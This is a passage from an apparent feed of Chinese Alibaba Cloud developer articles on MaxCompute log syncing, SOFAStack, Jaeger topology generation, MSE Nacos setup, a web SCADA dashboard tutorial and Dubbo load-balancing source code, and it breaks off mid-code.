        配置数据源及数据去向。数据源为LogHub,填写Logstore,配置日志开始时间和日志结束时间。数据去向可选择MaxCompute的一个数据源,选择需要导入的表,填写数据信息,进行字段映射。保存数据同步的配置。提交并运行。查询MaxCompute表中数据,确保日志服务数据已经成功同步到MaxCompute。
        b) 脚本模式配置同步任务。
        导入模板,选择数据源和目标数据源。编辑脚本。需要填写reader和writer的脚本配置。
        如下图红色框框选内容所示,reader端需要填写beginDataTime(日志开始时间)、datasourse(数据源,填写已配置好的数据源名称)、encoding(编码格式)、endDataTime(日志结束时间)、logstore(日志库)等。下图绿色框框选内容所示为writer端即(MaxCompute端)相应配置信息。需要填写列名,需要和LogHub配置的列名对应。填写datasourse、partition、table、truncate。
        111
        保存脚本数据节点,脚本模式配置成功后单击提交并运行。运行后数据即会从LogHub投递到MaxCompute表中。111
        如上图演示截图所示,投递成功。查询MaxCompute表中数据,确保日志服务数据已经成功同步到MaxCompute。如下图所示。1111
        4. 方案四:通过Kafka投递日志数据到MaxCompute
        环境准备及步骤:
        (1) 搭建Kafka集群。
        (2) 在控制台创建Topic和Consumer Group。
        (3) Flume读取日志文件数据写入到Kafka。首先为flume构建agent:进入flume下的配文件夹中编写构建agent的配置文件。再通过此命令启动flume的agent:bin/flume-ng agent -c conf -f 配置文件夹名/配置文件名-n a1 -Dflume.root.logger=INFO,console。然后启动Kafka的消费者进行数据写入bin/Kafka-console-consumer.sh:--zookeeper 主机名:2181 --topic Kafka_odps 。这样就开启了日志采集,文件会写入到Kafka中。
        (4) 数据写入到Kafka,通过数据集成DataWorks同步数据到MaxCompute。
        新建业务流程->新建数据同步节点->转换为脚本->配置脚本。
        (5) 配置脚本信息,运行脚本进行数据节点的同步。如下图红色框框选内容为reader端配置,绿色框框选内容为writer端配置。注意reader端需要配置server,为Kafka broke Server,格式为:ip 端口号。框选的列为Kafka的属性列、数据列。下图演示中所填写内容为属性列,再填写相应Topic。需要填写begin offset,即数据消费开始节点。MaxCompute writer端,一一对应Kafka左边的列,需要填写table表名、datasourse等。脚本配置完成后点击提交并运行。运行成功后日志数据就会投递到MaxCompute表中。
        111
        (6) 查询MaxCompute表中数据,确保日志服务数据成功同步到MaxCompute。如下图演示所示。111
        注意事项:
        (1) 数据同步的脚本编写,Reader、Writer的配置。如果脚本配置有误,数据投递将会失败,运行失败。可以结合官方文档进行配置。
        (2) Flume采集日志数据中配置文件的配置。配置文件中的Topic必须与Kafka创建的Topic保持一致。

        欢迎加入“MaxCompute开发者社区2群”,点击链接申请加入或扫描二维码
        https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        111

        ]]>
        蚂蚁金服重磅发布SOFAStack双模微服务平台 Fri, 02 May 2025 09:39:04 +0800 11月19日,蚂蚁金服在北京举办主题为“巅峰洞见·聚焦金融新技术”发布会,重磅推出金融级分布式架构SOFAStack双模微服务平台。这是业界首家将传统微服务和Service Mesh技术深度融合的金融级双模微服务平台,其核心技术已在2019天猫双十一中经历大规模实战检验!

        SOFA1.jpg

        SOFAStack(Scalable Open Financial Architecture Stack)是蚂蚁金服延用12年之久并持续打磨至今且对外开源的一套技术架构,包含构建金融级云原生架构所需的各个组件,也是在金融场景里锤炼出来的最佳实践。提供项目管理、微服务应用开发、发布部署、监控运维、容灾、高可用等全栈式解决方案,并兼容Dubbo、Spring Cloud等微服务运行环境,助力客户各类应用轻松转型分布式架构。

        此次发布的SOFAStack双模微服务平台,核心是针对金融行业的多厂商开发、多语言多协议、系统异构、架构转型成本高的痛点,提供一套平台无关、语言无关、轻量无侵入的一站式云原生分布式架构解决方案,解决传统微服务架构研发成本高、运维难度大、厂商绑定、新老系统架构难以兼容等痛点,降低架构转型技术风险,帮助企业以最小的成本完成云原生架构的落地。

        所谓双模,是指SOFA微服务和 Service Mesh技术的双剑合璧,即“基于SDK的SOFA微服务”可以和“基于Sidecar的Service Mesh微服务”实现下列目标:

        互联互通:两个体系中的应用可以相互访问;
        平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知;
        异构演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进。

        SOFA2.jpg

        蚂蚁金服的金融级云原生架构已经成为业界典型的大规模落地最佳实践,Service Mesh是蚂蚁金服金融级云原生的重要基础设施之一。在2019年双十一大促中,Service Mesh架构已经100%覆盖蚂蚁金服核心支付链路,几十万容器,峰值千万QPS,平均RT 0.2ms,是业界最大的 Service Mesh 集群。通过Service Mesh架构的资源分时复用技术,大规模统一资源调度,在同时支撑天猫双11 和经济体用户增长的同时,实现了零IT成本增加。如此大规模的Serveice Mesh实践经验是蚂蚁金服双模微服务平台的诞生根基。

        众所周知,金融行业广泛存在多厂商、多语言、转型成本高、安全要求高、运维难的多种痛点,而在云原生时代,金融级架构转型又面临新系统和老系统的双重问题。

        例如Dubbo或Spring Cloud这样基于SDK的传统微服务,对于金融机构有以下几个痛点。

        第一,异构系统无法统一治理。企业内部有大量异构系统,语言多(Java、C++、Python、Go等),框架多(Dubbo、Spring Cloud、Sofa等),通信协议多(http、dubbo、hsf、sofa、私有协议),部署环境复杂(容器、虚机);更重要的是,已转维或采购的系统也不具备改造为分布式的可行性条件。因此针对这些异构系统,没有任何一种传统的分布式框架可以进行统一的监控和治理。

        第二,分布式改造成本高。已有应用做分布式改造,基本需要重写整个应用,收益虽然高,成本同样高。即使完成了分布式改造,新的应用也已经上线了,如果后期分布式框架本身需要升级,也会迫使所有引用了SDK的应用需要重新打包编译部署,代价昂贵风险高。

        第三,不管选择任何一种分布式框架,金融机构都面临着全面绑定这个框架的技术栈,无法满足金融机构自主可控的研发及运维要求。

        SOFAStack双模微服务平台,新发布的Service Mesh模式,完美地解决了以上金融机构的痛点。SOFAStack双模微服务具备如下特性:

        1. 无侵入:无需修改业务代码实现快速接入Service Mesh。

        2. 多协议:同时支持Dubbo、Spring Cloud、SOFA框架及通信协议。

        3. 跨平台:同时支持虚拟机和容器两种应用部署形态

        4. 金融级:性能、稳定性经过蚂蚁金服双十一金融级场景大规模验证

        5. 双模:同时支持传统微服务和Service Mesh两种模式。

        对于已经使用Dubbo、SpringCloud的企业来说, SOFAStack双模微服务更是提供了平滑迁移的方案,允许多个注册中心并存,帮助企业平稳过渡到金融云原生架构。

        从金融级分布式为什么要走向金融级云原生?对此,蚂蚁金服金融科技产品技术部总经理杨冰表示:“交易规模和业务演进需要架构升级,但架构升级不应该成为业务的负担。金融级分布式架构,解决了由统一的一层抽象来支撑业务发展的问题,却没解决这层架构可独立演进能力的问题。当架构和规模到达一定程度,一定要从逻辑上的抽象分离走向物理上的完全分离。蚂蚁走向金融级云原生最大的动力是,让业务只关注业务创新,剩下来的交给基础设施和通用平台。Service Mesh 是向云原生演进的关键技术,也是金融级云原生的重要基础设施之一。另外,Mesh化架构不只是基础设施下沉带来效率提升,更大的意义在于对服务精细化的控制,是精益化运维的必然趋势。

        无论是银行还是金融领域的发展趋势,都与技术架构的演进趋势一一对应。不同的时代需要不同的能力,金融级云原生时代已经来临。目前,SOFAStack已经上线阿里云官网,通过全面整合金融科技与服务能力,持续为金融行业提供技术中台支撑。

        ]]>
        基于 Tracing 数据的拓扑关系生成原理 Fri, 02 May 2025 09:39:04 +0800 背景

        随着互联网架构的流行,越来越多的系统开始走向分布式化、微服务化。如何快速发现和定位分布式系统下的各类性能瓶颈成为了摆在开发者面前的难题。借助分布式追踪系统的调用链路还原能力,开发者可以完整地了解一次请求的执行过程和详细信息。但要真正分析出系统的性能瓶颈往往还需要链路拓扑、应用依赖分析等工具的支持。这些工具使用起来虽然简单,但其背后的原理是什么?本文将带您一起探索。

        Jaeger 作为从 CNCF 毕业的第七个项目,已经成为了云原生架构下分布式追踪系统的第一选择。本文将以 Jaeger 为例,介绍基于 Tracing 数据的拓扑关系生成原理,文中使用的版本为1.14

        Jaeger 架构

        笔者曾在 2018 年初基于 Jaeger 1.2.0 做过一些开发,参见《开放分布式追踪(OpenTracing)入门与 Jaeger 实现》。经过十多个版本的发展,Jaeger 的架构发生了一些变化,目前在大规模生产环境中推荐下面 2 种部署模式。

        Direct to storage

        direct_to_storage

        Collector 将采集到的 trace 数据直接写入 DB,Spark jobs 定期读取这些 trace 数据并将计算出的拓扑关系再次写入 DB 中。

        Kafka as intermediate buffer

        kafka_as_intermediate_buffer

        Collector 将采集到的 trace 数据写入中间缓冲区 Kafka 中,Ingerster 读取 Kafka 中的数据并持久化到 DB 里。同时,Flink jobs 持续读取 Kafka 中的数据并将计算出的拓扑关系写入 DB 中。

        Jaeger 组件

        一个完整的 Jaeger 系统由以下几部分组成。

        • Jaeger client libraries - 为不同语言实现了符合 OpenTracing 标准的 SDK。应用程序通过 API 写入数据,client library 把 trace 信息按照应用程序指定的采样策略传递给 jaeger-agent。
        • Agent - 它是一个监听在 UDP 端口上接收 span 数据的网络守护进程,它会将数据批量发送给 collector。它被设计成一个基础组件,部署到宿主机或容器里。Agent 将 client library 和 collector 解耦,为 client library 屏蔽了路由和发现 collector 的细节。
        • Collector - 接收 jaeger-agent 发送过来的 trace 数据,然后在处理管道中对它们进行验证、索引、转换并最终完成持久化存储。Jaeger 的存储组件被设计成可插拔的,目前官方支持 CassandraElasticsearchKafka
        • Query - 接收查询请求,然后从后端存储组件中检索 trace 并通过 UI 进行展示。
        • Ingester - 负责从 Kafka 中读取数据然后写入另一个存储后端。

        拓扑关系生成

        下图是 Jaeger 官方提供的微服务应用 Hot R.O.D. 的服务间拓扑关系。通过此图,开发者可以清楚地了解过去一段时间里服务间的调用关系和调用次数。

        jaeger_dependency

        由于生产环境中的 trace 数据量巨大,每次查询时通过扫描数据库中的全量数据来构建拓扑关系不切实际。因此,Jaeger 提供了基于 Spark jobs 和 Flink jobs 两种从 trace 数据中提取拓扑关系的方法。

        Jaeger Spark dependencies

        Jaeger Spark dependencies 是一个 Spark 任务,它从特定的后端存储中读取 span 数据,计算服务间的拓扑关系,并将结果存储起来供 UI 展示。目前支持的后端存储类型有 Cassandra 和 Elasticsearch。 由于 Cassadra 和 Elasticsearch 计算拓扑关系的逻辑大同小异,下面将以 Elasticsearch 为例进行分析。

        Span 数据组织结构

        Jaeger 会根据 span 的 StartTime 字段将它们写到 Elasticsearch 以天为单位的 index 里,存放 span 的 index 组织结构如下:

        jaeger-span-2019-11-11
        jaeger-span-2019-11-12
        jaeger-span-2019-11-13
        ...

        拓扑关系计算流程

        Spark job 每次运行都会重新计算指定日期的服务间拓扑关系,具体流程如下:

        1. 根据传入的日期定位存放 span 数据的 index,例如传入的日期是2019-11-11,则目标 span 为jaeger-span-2019-11-11。如果没有指定日期,便会使用当天的 index,此时 index 里存放着当天自午夜以来的所有 span 数据。
        2. 将目标 index 中的 span 数据按 traceID 进行分组,得到Map(traceID: Set(span))
        3. 针对单个 trace,遍历该 trace 的所有 span,计算出对应的拓扑关系List<dependency>
        4. Map(traceID: List<dependency>)按 dependency 重新分组,并累加相同 dependency 之间的调用次数。
        5. 将计算结果写入 Elasticsearch 用于存放拓扑关系的 index 里。例如jaeger-span-2019-11-11对应的拓扑关系 index 为jaeger-dependencies-2019-11-11

        拓扑关系查询

        查询时会根据传入的 lookback 查询对应时间段的 dependency 数据,默认为过去 24 小时。查询过程很简单:

        1. 找出和指定时间范围有交集的所有 dependency index。
        2. 从这些 index 中过滤出符合要求的所有 dependency。
        3. 将 dependency 在 UI 层进行聚合展示。

        Jaeger Analytics

        Jaeger Analytics 是一个 Flink 任务,它从 Kafka 中消费 span 数据,实时计算服务间的拓扑关系,最后将计算结果写入 Cassadra 中。

        拓扑关系计算流程

        将 Kafka 设为 source

        这里将 Kafka 设置为 Flink 任务的 source,此时 span 数据将不断地从 Kafka 流向 Flink 任务。

        将离散的 span 聚合成 trace

        DataStream<Iterable<Span>> traces = spans
            .filter((FilterFunction<Span>) span -> span.isClient() || span.isServer())
            .name(FILTER_LOCAL_SPANS)
            .keyBy((KeySelector<Span, String>) span -> String
                .format("%d:%d", span.getTraceIdHigh(), span.getTraceIdLow()))
            .window(EventTimeSessionWindows.withGap(Time.minutes(3)))
            .apply(new SpanToTraceWindowFunction()).name(SPANS_TO_TRACES)
            .map(new AdjusterFunction<>()).name(DEDUPE_SPAN_IDS)
            .map(new CountSpansAndLogLargeTraceIdFunction()).name(COUNT_SPANS);
        1. filter((FilterFunction<Span>) span -> span.isClient() || span.isServer())只保留有 client 或 server 标签的 span。
        2. keyBy((KeySelector<Span, String>) span -> String.format("%d:%d", span.getTraceIdHigh(), span.getTraceIdLow())) - 基于 traceIdHigh 和 traceIdLow 的组合将 span 数据分组。
        3. window(EventTimeSessionWindows.withGap(Time.minutes(3))) - 为每个 trace 创建一个 gap 为 3 分钟的会话窗口。表示对于某个 trace,如果 3 分钟内没有新的 span 数据到达,就认为窗口结束,进而触发后续的聚合操作。
        4. SpanToTraceWindowFunction - 负责将会话窗口里的 span 数据收集到一起。
        5. AdjusterFunction负责去除一个 trace 里的重复 span。
        6. CountSpansAndLogLargeTraceIdFunction以 10 秒为单位,统计 span 数量随时间的分布。

        计算 dependencies

        DataStream<Dependency> dependencies = traces
            .flatMap(new TraceToDependencies()).name(TRACE_TO_DEPENDENCIES)
            .keyBy(key -> key.getParent() + key.getChild())
            .timeWindow(Time.minutes(30))
            .sum("callCount").name(PREAGGREGATE_DEPENDENCIES);
        1. flatMap(new TraceToDependencies()) - 遍历一个 trace 的所有 span 数据,收集该 trace 表征的拓扑关系。
        2. keyBy(key -> key.getParent() + key.getChild()) - 将具有相同父子关系的 dependency 分到一组。
        3. timeWindow(Time.minutes(30)).sum("callCount") - 为每对依赖关系创建一个 30 分钟的时间窗口,窗口结束触发计数操作。

        将 Cassandra 设为 sink

        这里将 Cassandra 设置为 Flink 任务的 sink,当依赖关系因满足时间窗口的触发条件被计算完毕后,将以dependencies(ts, ts_index, dependencies)的形式持久化到 Cassandra 中。

        拓扑关系查询

        根据指定的时间范围过滤出所有符合要求的 dependency,然后在 UI 层进行聚合展示。从 Cassandra 查询 dependency 使用的 CQL 如下。

        SELECT ts, dependencies FROM dependencies WHERE ts_index >= startTs AND ts_index < endTs

        总结

        Spark jobs、Flink jobs 两种计算拓扑关系的方案虽然在细节上有所不同,但整体流程非常相似,可总结成下图。

        cal_dependency

        对于 Jaeger Spark dependencies, 拓扑关系的精确程度和 Spark job 的执行频率密切相关。执行频率越高,查询结果越精确,但消耗的计算资源也会越多。举个例子,如果 Spark job 每小时运行一次,拓扑关系可能无法反映最近一小时服务间的调用情况。

        对于 Jaeger Analytics,它以 Kafka 作为缓存,增量地处理到达的 span 数据,具有更好的实时性。如果对最近时间拓扑关系的精确程度有比较高的要求,建议选用 Jaeger Analytics 方案。

        ]]>
        阿里云微服务引擎(MSE) 1.4.0 重磅发布:增加 Nacos、Eureka 引擎支持 Fri, 02 May 2025 09:39:04 +0800 近日,微服务引擎 MSE 1.4.0 版本发布,在已有ZooKeeper引擎的基础上,增加了对 Nacos和Eureka 的支持,同时在监控趋势图中添加了监控指标的自定义报警通知功能,通知方式支持短信、邮件和钉钉机器人,覆盖上海、杭州、北京和张家口region。

        MSE基于开源社区 Nacos 稳定运行版本 1.1.3 开发,功能接口完全兼容,提供稳定的运行环境资源,一键创建,开箱即用,目前免费使用,同时提供了丰富的管理页面,支持服务查看,命名空间配置等功能。

        点击这里,访问 MSE产品详情页,下面我们来一起探索一下 MSE 1.4.0 的新引擎功能。

        快速创建Nacos引擎

        • 进入MSE控制台,左上角选择所需的地区(如华东1杭州),点击"创建实例"按钮:

        1

        • 进入创建页面,选择你需要创建的引擎类型,这里我们选择Nacos注册中心,版本目前支持1.1.3版本,后面会持续与开源版本保持功能同步,网络类型有2种,公网实例,表示任意公网都可访问实例,专有网络表示只能在阿里云VPC内部访问,在专有网络类型下,需要选择对应的VPC,交换机,规格一栏,目前支持2种规格,选择你需要的规格,然后点击创建 ,即可开始创建实例。
          2
        • 进入创建页面,实例创建的时间,预计3分钟左右完成。
          3
        • 创建完成之后,即可通过公网域名,或者内网域名进行访问Nacos。
          4

        Nacos引擎实践

        配置公网白名单
        这里我们通过公网域名进行链接Nacos集群,在使用公网域名之前,我们需要设置一下公网访问白名单,这是为了加强域名安全等级,只允许安全源进行访问,设置公网白名单的方式:点击教我设置
        5

        注: 设置白名单的IP,需要是访问机器的出口公网IP或者网段,机器公网IP查询方式,可通过如下命令查询:

        curl myip.ipip.net
        curl cip.cc
        curl ipinfo.io
        curl ifconfig.me
        
        • 设置完成,可以尝试验证下Nacos的默认8848端口是否连通:
          6

        注册一个服务

        • 我们通过Http接口注册一个服务,命令如下:
        curl -X POST 'http://mse-ca71be50-p.nacos-ans.mse.aliyuncs.com
        :8848/nacos/v1/ns/instance?serviceName=nacos.naming.serviceName&ip=127.0.0.1&port=8080'
        

        查看服务注册详情

        • 首页点击实例名称,可以看到服务注册上去了:
          7
        • 通过详情,我们可以看到服务实例的IP和端口:
          8

        查看监控趋势图

        • 点击左侧"监控"按钮,可进入监控视图,可以看到整个集群的服务数等趋势图。
          9

        10

        配置监控项报警

        • 可以针对集群维度,对监控趋势图中对监控项进行报警配置,点击左侧:报警管理>报警管理策略>创建报警。

        11

        MSE更多功能,请登陆这里,免费注册使用,如果您在使用 MSE 过程中有任何疑问,欢迎您扫描下面的二维码加入钉钉群进行反馈。

        交流群(钉钉)
        730cb49e93bf88865b63971d0e7a2a7355239505



        微信群
        17f1f7c9a2cafeb9ac924cb20b34bf3eddbcdb94
        请务必备注"添加 ZooKeeper 微信群"

        ]]>
        中海创WEB组态水污染处理组态实战案例 Fri, 02 May 2025 09:39:04 +0800 使用中海创WEB组态产品,完成组态效果,下面以"水污染处理"为例,用海创微联采集设备数据上传到阿里云,中海创web可视化开发端获取阿里云的数据进行展示以及反馈变更的设备数据到阿里云。

        1574067697.png

        水污染处理的组态看板如下图所示:
        20191122_163128.gif

        水污染处理的具体工艺流程如下:
        1574409643.png
        这个组态实现的功能有:

        • 数据展示
        • 水管水流等级控制

        前期准备

        阿里云

        中海创物联网

        一、创建产品设备和规则引擎

        我们打开阿里云,注册一个账号并登录,进入阿里云物联网平台。
        1573525571.png

        1.1 产品创建

        在左边设备管理中找到产品,创建后点击保存。
        1573525482.png

        然后打开创建的产品,点击功能定义,根据实际设备的数据在自定义功能中添加原水池水位、厌氧池温度、厌氧池orp等。
        1573525679.png

        1573525794.png

        1.2 设备创建

        接着我们在产品中添加一个设备。
        1573526310.png

        创建完成后有弹窗显示设备的三个唯一标识,点击一键复制,备用。
        1573526515.png

        此时查看设备状态是未激活状态,查看设备,在设备运行状态中也能看到需要采集的数据暂时为空。
        1573526634.png

        1573526700.png

        1.3 规则引擎创建

        1.3.1 创建

        1573526968.png

        1.3.2 设置规则
        • 处理数据

          1573527331.png

        • 转发数据

          1573527559.png

        • 启动

          1573527638.png

        二、数据采集和上传

        登录海创web可视化开发平台,点击“服务开发”,选择项目(提示:创建的微服务要和组态看板在同一个项目下,数据绑定的时候才可以选到对应的微服务),创建微服务“ali水污染处理”。从左边的节点列表中拖出海创IOT、阿里云IOT、function、switch和调试节点,按下图连接,注意节点连线的端口
        1574410383.png

        2.1 节点配置

        关于各个节点的配置说明请参考文档海创微联

        • 定时器

          1574402953.png

        • function

          阿里云或者海创云节点接收数据格式相似,两者之间可以直接传递数据,由于本次组态看板中的报表和折线图需要设备所有的数据,所以以下的function是将接收的阿里云的数据进行整合后存储,再传递给可视化平台。

        1574410206.png

        • 阿里云IOT

          1574301816.png

        • switch

          添加switch的原因在于阿里云IOT下发的数据有两个包,一个是设备数据包,另一个是创建规则引擎产生的包,我们需要的是设备数据包

        1574410879.png

        1573529016.png

        • 可视化平台

          根据阿里下发的数据可知,我们需要产品设备数据包里的items对象,这里存储着设备数据。

        用于接收:
        1574403837.png
        用于反馈:
        此节点不需要编辑,连接即可。
        1574404083.png

        • 调试

          用于显示当前连接的节点下发的数据内容,默认显示msg.payload,便于调试和查看数据。

        1574404398.png
        全部完成后点击部署。
        1573530142.png

        1574404617.png

        返回阿里云查看数据状态,说明连接成功。
        1573530311.png

        1573530403.png

        三、web可视化数据绑定和反馈

        3.1 创建应用

        创建一个组态看板“ali水污染处理”,如下:
        1573530684.png

        3.1 绘制图标

        创建应用后,点击“在线编辑”进入,在“设计”栏新建一个文件夹“水污染处理”,用于存放自己设计的图标,这里选择几个图标进行举例说明:

        3.1.1 按钮

        1、在“水污染处理”文件夹下新建一个图标“按钮”,选择圆角矩形拖拽至编辑框中并设置属性
        1573538875.png
        将文字拖拽至编辑框并设置属性
        1573539375.png
        选择矩形,点击“事件处理”,选择按下和离开,编辑脚本
        1573539490.png

        • 按下事件
        data.a('Reset_bc', 'rgb(142,194,250)');//data指的是当前的矩形,表示设置矩形的背景色
        data.a('Reset_pc', 'rgb(97,163,232)');//表示设置矩形的渐进色
        • 离开事件
        data.a('Reset_bc', '#1080bb');//data指的是当前的矩形,表示设置矩形的背景色
        data.a('Reset_pc', 'rgb(97,163,232)');//表示设置矩形的渐进色
        • 数据绑定并保存

          1573540093.png

        效果图:

        20191112_143448.gif

        3.1.2 水管

        将管道拖拽至编辑框并设置属性

        1573541774.png

        设置拐弯:

        20191112_150228.gif

        3.1.3 公共图标复制并使用

        公共图标能修改的属性比较少,如果你想引用一个图标,同时要添加自己的一些特色进去,可以选择将这个图标复制到自己的文件夹里再去更改属性、保存(例如:你想更改这个图标的颜色)
        20191112_144343.gif

        3.2 页面排版

        在“ali水污染处理”页面,将准备好的素材全部拖入调整。
        1573625489.png

        3.2.1 组合块

        获取组合块标签后,能获取块内所有图标的属性,或者通过简单的脚本去设置图标属性,方便图标的统一管理,例如:要实现多个图标的显示隐藏如下:
        20191113_160516.gif

        3.3 页面功能介绍

        3.3.1 点击按钮切换页面

        将同一个页面的图标组成块后,设置块的标签,在监听视图事件方法内控制对应块的显示和隐藏,具体代码参考用户脚本。
        1573633039.png

        例如,点击主页面按钮,对应的脚本为:

        if(tagName=='one'){//如果单击主页面按钮
            zy.s("2d.visible",true);//主页面块显示
            history.s("2d.visible",false);//实时数据页面块隐藏
            dataTable.s("2d.visible",false);//数据报表页面块隐藏
            PAnalysis.s("2d.visible",false);//工艺解析页面块隐藏
            Anim.resume();//水管流动和风扇转动继续
        }
        3.3.1 主页面
        • 数据显示

          我们需要对组态界面的所有展示数据进行设备数据绑定,以原水池水位为例:

          • 绑定设备

            1573542902.png

          • 绑定字段

            1573543014.png

        • 水管流动和数据反馈
          • 设置标签

        给每根水管设置标签:
        lin0-line12

        1573627219.png

        1573627127.png

          • “确定”按钮绑定设备并且添加脚本

            1574233259.png

        3.3.2 实时数据页面
        • 下拉框

          绑定设备后,在改变事件里添加脚本:

        dm.lineChart.a('seriesData')[0].name=newValue;//将newValue的值赋值给折线图的标签
        if(oldValue!=newValue &&newValue!=''){//如果下拉选择的是新值
            var lineData = '';
            for(key in waterNew[0]){//循环遍历waterNew[0]对象
                if(key==newValue){//如果waterNew[0]的key和下拉值相同
                     lineData = waterNew[0][key];//将key的值赋值给lineData
                }
            }
            var time = util.formatDate(new Date(),'mm:ss');//获取当前时间的分秒
            dataInsert(dm,lineData,time);//调用方法,将当前获取的值插入折线图Y轴数据,具体定义请查看用户脚本
            dm.lineChart.iv();//强制刷新折线图
        }
          • 效果

            20191113_145417.gif

        • 折线图

          绑定设备和字段后,在属性“数据参数”的数据插入前添加脚本

        1573628732.png

          • 脚本
        function(val){
            waterNew.push(val);//将获取到的所有设备数据存入waterNew数组
            var selectName=dm.Dropdown.a('hc.value');//下拉框选择的设备属性名称
            var lineData = '';
            for(key in val){
                if(key==selectName){//如果名称和val里的属性名称一致
                     lineData = val[key];//将这个属性对应的值赋给lineData
                }
            }
            var time = util.formatDate(new Date(),'mm:ss');//获取当前时间分秒
            dataInsert(dm,lineData,time);//调用方法
            //折线图接收Y轴的数据格式如下,更改数据后再返回值
            var insertDatas=[
                {
                    "name": selectName,
                    "type": "line",
                    "data": dataY,
                    "smooth": true,
                    "areaStyle": {}
                }
            ]
            return insertDatas;
        }
        3.3.3 数据报表页面

        这个页面能实时查看所有数据的变更情况,表格绑定设备后,属性“行数据”再绑定字段即可。
        1573631631.png

        3.3.1 工艺解析页面

        通过这个页面你能实了解水污染处理工艺流程的整体信息,没有配置难点,这里不介绍了。

        3.4 用户脚本

        1573551803.png

        中海创可视化开发平台不仅提供丰富的可视化看板素材,还有强大的2D、3D编辑平台,现提供以下几个简单点的组态看板功能供大家参阅:
        锅炉控制系统
        20191121_154717.gif
        海创进料系统
        20191121_155135.gif
        换热站远程监控系统
        20191121_155135.gif

        想要了解更多欢迎登陆中海创物联网

        ]]>
        Dubbo源码解析实战 - 负载均衡算法LoadBalance Fri, 02 May 2025 09:39:04 +0800 1 简介

        本篇尽量用一些简单的数学式子和流程图和大家一起梳理一下这些集群容错算法.

        2 灵魂拷问

        • 谈谈dubbo中的负载均衡算法及特点
        • 最小活跃数算法中是如何统计这个活跃数的
        • 简单谈谈你对一致性哈希算法的认识

        3 接口的继承体系

        4 RandomLoadBalance(随机)

        随机,按权重设置随机概率
        在一个截面上碰撞的概率高,但调用量越大分布越均匀,而且按概率使用权重后也比较均匀,有利于动态调整提供者权重。

        默认策略,但是这个随机和我们理解上的随机还是不一样的,因为他还有个概念叫weight(权重),就是用来控制这个随机的概率的,我们来看代码实现.

        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        
        import java.util.List;
        import java.util.concurrent.ThreadLocalRandom;
        
        /**
          * 此类从多个提供者中随机选择一个提供者。
          * 可以为每个提供商定义权重:
          * 如果权重都相同,则将使用random.nextInt(调用者数)。
          * 如果权重不同,则将使用random.nextInt(w1 + w2 + ... + wn)
          * 请注意,如果机器的性能优于其他机器,则可以设置更大的重量。
          * 如果性能不是很好,则可以设置较小的重量。
         */
        public class RandomLoadBalance extends AbstractLoadBalance {
        
            public static final String NAME = "random";
        
            /**
             * 使用随机条件在列表之间选择一个invoker
             * @param invokers 可能的invoker列表
             * @param url URL
             * @param invocation Invocation
             * @param <T>
             * @return 被选的invoker
             */
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                // invoker的数量
                int length = invokers.size();
                // 每个 invoker 有相同权重
                boolean sameWeight = true;
                // 每个invoker的权重
                int[] weights = new int[length];
                // 第一个 invoker 的权重
                int firstWeight = getWeight(invokers.get(0), invocation);
                weights[0] = firstWeight;
                // 权重之和
                int totalWeight = firstWeight;
                for (int i = 1; i < length; i++) {
                    int weight = getWeight(invokers.get(i), invocation);
                    // 保存以待后用
                    weights[i] = weight;
                    // Sum
                    totalWeight += weight;
                    if (sameWeight && weight != firstWeight) {
                        sameWeight = false;
                    }
                }
                if (totalWeight > 0 && !sameWeight) {
                    // 如果并非每个invoker都具有相同的权重且至少一个invoker的权重大于0,请根据totalWeight随机选择
                    int offset = ThreadLocalRandom.current().nextInt(totalWeight);
                    // 根据随机值返回invoker
                    for (int i = 0; i < length; i++) {
                        offset -= weights[i];
                        if (offset < 0) {
                            return invokers.get(i);
                        }
                    }
                }
                // 如果所有invoker都具有相同的权重值或totalWeight = 0,则平均返回。
                return invokers.get(ThreadLocalRandom.current().nextInt(length));
            }
        
        }
        

        分析

        • 流程图

        假设有四个集群节点A,B,C,D,对应的权重分别是1,2,3,4,那么请求到A节点的概率就为1/(1+2+3+4) = 10%.B,C,D节点依次类推为20%,30%,40%.

        虽然这个随机算法理解起来是比较容易的,面试一般不会问这个,但是假如我们要实现类似的功能,他这个代码实现的思路还是很优雅的,非常具有借鉴意义
        他这个实现思路从纯数学角度是很好理解的,我们还是按照上面数学分析中的前提条件.我们知道总权重为10(1+2+3+4),那么怎么做到按权重随机呢?
        根据10随机出一个整数,假如为随机出来的是2.然后依次和权重相减,比如2(随机数)-1(A的权重) = 1,然后1(上一步计算的结果)-2(B的权重) = -1,此时-1 < 0,那么则调用B,其他的以此类推

        5 RoundRobinLoadBalance(轮询)

        轮询,按公约后的权重设置轮循比率
        存在慢的提供者累积请求的问题,比如:第二台机器很慢,但没挂,当请求调到第二台时就卡在那,久而久之,所有请求都卡在调到第二台上

        
        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        
        import java.util.Collection;
        import java.util.List;
        import java.util.Map;
        import java.util.concurrent.ConcurrentHashMap;
        import java.util.concurrent.ConcurrentMap;
        import java.util.concurrent.atomic.AtomicBoolean;
        import java.util.concurrent.atomic.AtomicLong;
        
        /**
         * Round robin load balance.
         */
        public class RoundRobinLoadBalance extends AbstractLoadBalance {
            public static final String NAME = "roundrobin";
            
            private static final int RECYCLE_PERIOD = 60000;
            
            protected static class WeightedRoundRobin {
                private int weight;
                private AtomicLong current = new AtomicLong(0);
                private long lastUpdate;
                public int getWeight() {
                    return weight;
                }
                public void setWeight(int weight) {
                    this.weight = weight;
                    current.set(0);
                }
                public long increaseCurrent() {
                    return current.addAndGet(weight);
                }
                public void sel(int total) {
                    current.addAndGet(-1 * total);
                }
                public long getLastUpdate() {
                    return lastUpdate;
                }
                public void setLastUpdate(long lastUpdate) {
                    this.lastUpdate = lastUpdate;
                }
            }
        
            private ConcurrentMap<String, ConcurrentMap<String, WeightedRoundRobin>> methodWeightMap = new ConcurrentHashMap<String, ConcurrentMap<String, WeightedRoundRobin>>();
            private AtomicBoolean updateLock = new AtomicBoolean();
            
            /**
             * 获取为指定invocation缓存的invocation地址列表
